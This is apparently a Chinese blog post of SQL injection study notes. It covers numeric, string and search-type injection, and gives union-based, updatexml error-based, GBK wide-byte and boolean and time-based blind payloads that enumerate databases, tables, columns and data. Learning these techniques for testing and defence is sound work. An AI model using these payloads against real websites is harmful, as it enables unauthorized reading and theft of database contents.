SQL注入学习笔记

SQL注入原理

SQL注入原理就是跟SQL语法有关的一种攻击手段。如果在编写代码时没有对提交的参数进行严格过滤和判断,通过在客户端提交参数时拼接SQL语句,提交至服务端,服务端将拼接的SQL语句提交给数据库执行,泄露数据库中的信息并返回给服务端,再返回给客户端,从而获得信息或者执行危险命令。


按数据类型分类

数字型

在数据库中,提交的参数是数字,不用考虑引号闭合问题

测试语句:

  1. id=1',此时拼接的sql语句为 select * from xxx where id=1' ,不符合语法,肯定报错
  2. id=1 and 1=1,此时拼接的sql语句为 select * from xxx where id=1 and 1=1,会正常输出

示例: 1 or 1=1#

sql语句:select * from xxx where id=1 or 1=1 #

or 1=1保证了所有数据都满足输出条件,而#是注释掉后面其他的语句,如果注入成功,就可以输出该库的所有元素

字符型

在数据库中,提交的参数是字符串,需要考虑引号闭合问题

测试语句:

  1. str=bulabula # ,此时拼接的sql语句为 select * from xxx where str='bulabula ,引号未闭合,会报错
  2. str=bulabula' and 1=1 # ,此时拼接的sql语句为 select * from xxx where str='bulabula' and 1=1 # ,会正常输出

示例 kk' or 1=1 #

sql语句:select * from xxx where str='kk' or 1=1 #

效果同数字型,只不过考虑了引号闭合

搜素型

在数据库中,字符串采用模糊匹配的方式找对应数据。在数据库搜索的时候,如果使用%,可以达到模糊匹配的效果。如 str='%abc' ,就会匹配以abc结尾的数据,而 str='%abc%',就会匹配含有abc的数据。在对这种数据进行注入时,需要考虑百分号的闭合。


注入手段

联合查询注入

通过union语句实现联合查询注入,但是得保证两次select的列数一致,才能对齐

判断列数: 通过order by语句

示例:

str=1' order by 3 # (对第三列排序 报错)

str=1' order by 2 # (对第二列排除 无报错)

此时说明该数据一共有3列

爆数据库名 str=1' union select 3,(select group_concat(schema_name) from information_schema.schemata) #

爆表名 str=1' union select 3,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #

爆列名 str=1' union select 3,(select group_concat(column_name) from information_schema.columns where table_name = '表名') #

爆数据值 str=1' union select 3,(select group_concat(列名) from 数据库名.表名) #

上述爆数据库名,表名,列名其实都是基于爆数据值这个格式,在数据库中自带的information_schema数据库找到的数据

报错注入

基于数据库本身函数报错输出的注入方式,如updatexml内容替换函数,其格式为updatexml(string格式,XPath格式字符串,string格式),当不符合xpath语法格式时,会将里面的内容爆出

爆数据库版本 str=1' and updatexml(0,concat(0x7e,(select @@version),0x7e),1) #

爆数据库当前用户 str=1' and updatexml(0,concat(0x7e,(select user()),0x7e),1) #

爆当前数据库 str=1' and updatexml(0,concat(0x7e,(select database()),0x7e),1) #

爆表名 str=1' and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema = '数据库名' limit 0,1),0x7e),1) #

由于concat只能连接一行,所以只能用limit一行一行输出

爆列名 str=1' and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' and table_schema='数据库名' limit 0,1),0x7e),1) #

爆数据值 str=1' and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),0) #

宽字节注入

许多网站为了防止sql注入,会使用转义符注释掉一些特殊字符(如:' " \
NULL)。在这些字符前加上\,让这些符号失去意义,这时就可以尝试宽字节注入。

假设我们正常注入的语句为:xx' and 1=1 # ,在被网站处理后会变成:xx' and 1=1 #,此时单引号就被注释掉了,在url编码后,这段语句会变成:xx%5c%27+and+1%3d1+%23。若网站是按照GBK编码编写,在GBK编码表示汉字时,会用两个十六进制字节表示汉字(如 %df%5c=運),那么我们就可以通过与转义符\合成一个汉字,来消掉\。

注入语句:str=xx%df' and 1=1 #

布尔型盲注

当注入后无回显时,可以采取盲注。假设在正常输入xxx是有回显的,而网站对报错注入之类的手法进行了处理,我们可以使用and,使我们测试出正确的字符时才回显。如:

str=xxx' and ascii(substr(database(),1,1))=98 #

这段语句and后面代表数据库的第一个字符的ascii码是否为98,如果是98则为真,此时前面的xxx也可以正常回显,两个合起来为真就有回显,通过更改substr里面的参数,即可测出想要数据的字符是什么,并且不一定要为等号,还可以用> <,来快速确定字符范围。

时间型盲注

与布尔型盲注的原理相同,都是通过一些手法使得页面有回显,而时间型盲注则是使网站等待一些时间再返回页面。

注入语句:str=xxx' and if(substr(database(),1,1) = 'a',sleep(10),null) #

这段语句就是通过if语句判断,如果成功则等待十秒返回页面,否则无影响,其中强行等待语句还可以使用benchmark(10000000,MD5(1)),并且也可以转化为ascii码比较大小来缩小范围。

posted @ 2024-09-11 20:50  草鱼泡酒  阅读(23)  评论(0编辑  收藏  举报